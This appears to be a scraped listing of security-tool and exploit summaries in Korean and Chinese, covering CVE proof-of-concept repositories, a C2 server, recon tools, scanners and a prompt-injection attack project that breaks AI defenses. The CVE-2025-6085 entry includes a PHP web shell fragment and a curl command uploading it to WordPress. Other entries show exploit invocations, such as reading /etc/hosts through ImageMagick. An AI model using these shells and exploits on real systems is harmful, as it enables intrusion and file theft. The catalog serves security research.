CVE-2025-55183_POC

CVE-2025-55183 - Next.js RSC 서버 함수 소스 코드 노출 Next.js React Server ComponentsRSC의 소스 코드 노출 취약점입니다. 취약한 서버 함수로 전송된 악의적인 HTTP 요청은 인수가 문자열화될 때 모든 서버 함수의 소스 코드를 안전하지 않게 반환할 수 있습니다. 참고 작성자 : X/Twitter의 AndrewMohawk 실습 환경 설정 root@kitploit: git clone https://github.com/AndrewMohawk/RSC-sample-app.git cd...

CVE-2025-58360

CVE-2025-58360 2.26.0 버전부터 2.26.2 미만 및 2.25.6 미만 버전에서 XML 외부 엔티티XXE 취약점이 확인되었습니다. 애플리케이션은 특정 엔드포인트 /geoserver/wms의 GetMap 작업을 통해 XML 입력을 수용합니다. 익스플로잇1: root@kitploit: python3 CVE-2025-58360 -u http://example.com 익스플로잇2: root@kitploit: curl -X POST...

supply-chain-guard

Supply Chain Guard SCG npm/yarn 및 Python pip/poetry/uv 공급망 공격 대응을 위한 인시던트 대응 도구 키트 — 무료, 로컬 실행, 종속성 없음. SCG는 상용 도구와 커버리지에서 경쟁하는 스캐닝 엔진이 아닙니다. 이는 Claude Code 스킬이자 독립형 셸 도구 키트로, 세 가지 작업을 잘 수행합니다: 1 특정 인시던트가 발생했을 때 빠르고 반복 가능한 초기 대응 을 제공하며"내 머신이 지금 영향을 받고 있는가?", 2 기존 OSS 스캐너npm audit, osv-scanner,...

Satellian-CVE-2020-7980

Satellian-CVE-2020-7980 Satellian은 Intellian 위성 컨트롤러Intellian Aptus Web에서 RCE 취약점을 보여주는 PoC 스크립트입니다. 다음 스크립트는 시스템의 모든 바이너리를 나열하려고 시도한 후, 테스터가 서버일반적으로 root와 직접 상호작용할 수 있도록 합니다. PoC root@kitploit: xh4h@Macbook-xh4h /Satellian python satellian.py -u http:// / \ oo Intellian Satellite Terminal PoC...

CVE-2022-44666

Microsoft Windows 연락처VCF/Contact/LDAP syslink 컨트롤 href 속성 이스케이프 취약점 CVE-2022-44666 0day. 이것은 4년 이상 전에 John Page hyp3rlinxR.1가 완전히 공개한 또 다른 잊혀진 0day에 관한 이야기입니다. 보고서를 이해하려면 제가 멍청하다는 점을 감안해야 합니다 :- 그리고 제 멍청함은 간단한 문제를 해결하는 데 더 긴 경로를 선택하게 만들지만, 동시에 어떤 버그를 악용하는 다른 방법을 찾게도 합니다. 왜 이런 말을 할까요? .contact 파일을...

PCLink

PCLink Server The secure backbone for your personal PC remote control ecosystem. PCLink is a modern, web-first server designed for secure remote PC management and high-performance screen streaming. Featuring a high-performance FastAPI backend, a responsive Web UI, and an extensible plugin system...

Salamandra

Salamandra 스파이 마이크 탐지 도구 Salamandra는 폐쇄된 환경에서 스파이 마이크를 감지하고 위치를 찾는 도구입니다. 마이크에서 보내는 신호의 강도와 노이즈 및 중첩된 주파수의 양을 기반으로 마이크를 찾습니다. 생성된 노이즈를 기반으로 마이크로부터 얼마나 가까이 또는 멀리 떨어져 있는지 추정할 수 있습니다. 설치 USB SDR 장치 Salamandra를 사용하려면 SDR소프트웨어 정의 라디오 장치가 필요합니다. 이것과 같은 저렴한 USB 장치가 가능합니다. rtlpower 소프트웨어 Salamandra는 컴퓨터에...

mothership_c2

마더쉽 C2 $\textcolorred\text면책 고지!$ $\textcolorred\text이 도구는 윤리적 목적으로만 사용해야 합니다!$ 설명 Mothership C2는 파이썬으로 작성된 명령 및 제어 서버입니다. 기능 송수신 명령에 대한 종단간 암호화 지원 모든 통신에 HTTP 사용 현재 Linux 지원 Windows 지원은 테스트 중 DragonflyDB 사용 Redis의 더 빠른 대안 프론트엔드 다음은 프론트엔드의 샘플 스크린샷입니다. 내장 터미널과 에이전트 생성/삭제 기능이 있습니다. 프론트엔드를 실행하려면...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ 上传到上传文件夹后利用 shell：...

CVE-2024-31317-Deployer

CVE-2024-31317 Deployer 🔒 보안 연구 성명 본 프로젝트는 보안 연구 및 교육 목적으로만 사용됩니다. 본 도구를 사용한 무단 테스트는 불법입니다. 작성자는 어떠한 오용이나 손해에 대해서도 책임을 지지 않습니다. 📋 개요 CVE-2024-31317은 Android 9부터 Android 13까지의 기기에 영향을 미치는 심각한 보안 취약점으로, WRITESECURESETTINGS 권한을 가진 애플리케이션이 명령어 삽입을 통해 시스템 수준 권한을 획득할 수 있게 합니다. 본 프로젝트는 해당 취약점에 대한 상세 기술...

js-x-ray @nodesecure/[email protected]

!slsa...

better_opts_attacks

May I have your attention? 打破基于微调的提示注入防御：利用架构感知攻击 本仓库包含运行ASTRA和ASTRA++攻击的代码，这些攻击能够突破SecAlign++、SecAlign、StruQ防御。此外，本仓库还提供了一些生成的攻击示例和攻击日志。 环境搭建 克隆仓库 这将克隆仓库以及所有子模块，并放置到正确的位置。 root@kitploit: git clone --recurse-submodules https://github.com/nishitvp/betteroptsattacks.git 设置Python环境...

CVE-2022-44268

CVE-2022-44268 🧙‍♂️ CVE-2022-44268 ImageMagick 임의 파일 읽기 - 개념 증명 익스플로잇 비디오 📼 https://youtu.be/quKxwNAMBIA 사용법 🛠 이미지 오염 ☣️ root@kitploit: python3 CVE-2022-44268.py --image imagetopoison.png --file-to-read /etc/hosts --output poisoned.png root@kitploit: Upload poisoned PNG image. 익스플로잇 성공 여부 확인 🗡...

quantumslop

ECDLP를 위한 쇼어 알고리즘 — Q-Day Prize 제출물 타원곡선 이산로그 문제ECDLP를 위한 양자 솔버로, Project Eleven이 Q-Day Prize Challenge를 위해 제작했습니다. 목표: 쇼어 알고리즘을 사용하여 실제 양자 하드웨어에서 ECC 개인키를 복구합니다. 저자 : Giancarlo Lelli 연락처 : [email protected] LinkedIn : https://www.linkedin.com/in/giancarlolelli 배경 : 엔터프라이즈 소프트웨어, 풀스택 아키텍처,...

CVE-2022-22972

CVE-2022-22972 CVE-2022-22972의 POC로, VMware Workspace ONE, vIDM 및 vRealize Automation 7.6에 영향을 미칩니다. 기술 분석 취약점에 대한 기술적 근본 원인 분석은 블로그에서 확인할 수 있습니다: https://www.horizon3.ai/vmware-authentication-bypass-vulnerability-cve-2022-22972-technical-deep-dive 요약 이 스크립트는 CVE-2022-22972를 이용하여 vRealize...

CVE-2024-40635_POC

CVE-2024-40635POC CVE-2024-40635 취약점을 증명하기 위한 개념 증명 코드 데이터 출처: https://nvd.nist.gov/vuln/detail/CVE-2024-40635 1. Docker 라이브러리 가져오기 root@kitploit: import docker Python docker 라이브러리를 가져옵니다. 이 라이브러리는 Docker API를 사용하여 Docker와 상호작용할 수 있게 해줍니다. 이 라이브러리가 설치되어 있지 않다면 다음 명령어로 설치할 수 있습니다: root@kitploit:...

CVE-2025-29927

CVE-2025-29927 ★ CVE-2025-29927 Next.js 미들웨어 우회 PoC ★ 설명 CVE-2025-29927 : Next.js 미들웨어 우회 PoC 설명: Next.js는 풀스택 웹 애플리케이션을 구축하기 위한 React 프레임워크입니다. 버전 11.4부터 12.3.5, 13.5.9, 14.2.25, 15.2.3 미만의 버전에서 미들웨어 내에서 인증 확인이 이루어질 경우 Next.js 애플리케이션의 인증 확인을 우회할 수 있습니다. 안전한 버전으로 패치하는 것이 불가능하다면, 외부 사용자 요청에...

Admin-Panel_Finder

Admin Panel Finder 인프라 및 애플리케이션 관리자 인터페이스를 열거하는 Burp Suite 확장 프로그램입니다. OWASP 참조: 분류 : 웹 애플리케이션 보안 테스트 02-구성 및 배포 관리 테스트 OTG v4 : OWASP OTG-CONFIG-005 WSTG : WSTG-CONF-05 이 확장 프로그램을 사용해야 하는 이유는 무엇인가요? 멀티스레드 테스트 수준을 다르게 구성 가능 포함 가능한 상태 코드 제외 가능한 상태 코드 1000개 이상의 내장 페이로드 자신의 사전 파일 로드 가능 편집 가능한 루트 디렉터...

CVE-2023-34840

CVE-2023-34840 취약점 설명 angular-ui-notification의 모든 버전은 라이브러리가 사용자가 제공한 입력을 적절히 살균sanitize하지 않아 XSS에 취약합니다. 이 라이브러리를 안전하게 사용하려면 라이브러리로 전달되는 매개변수를 살균/인코딩하는 것이 적극 권장 됩니다. 예를 들어 다음과 같습니다: root@kitploit: private sanitizeHTMLstr: string return str.replace/^\w. /gi, c = &$c.charCodeAt0;; 악용 라이브러리가 이미 임포트...

Ashok

Ashok 엄청나게 빠른 정찰용 스위스 아미 나이프 📌 소개 정찰Reconnaissance은 침투 테스트의 첫 번째 단계로, 실제 공격을 계획하기 전에 정보를 수집하는 단계입니다. 따라서 Ashok은 침투 테스터를 위한 엄청나게 빠른 정찰 도구이며, 특히 정찰 단계를 위해 설계되었습니다. Ashok-v1.1에서는 고급 Google 도커와 웨이백 크롤링 머신을 찾을 수 있습니다. 💥 주요 기능 root@kitploit: - Wayback Crawler Machine - Google Dorking without limits -...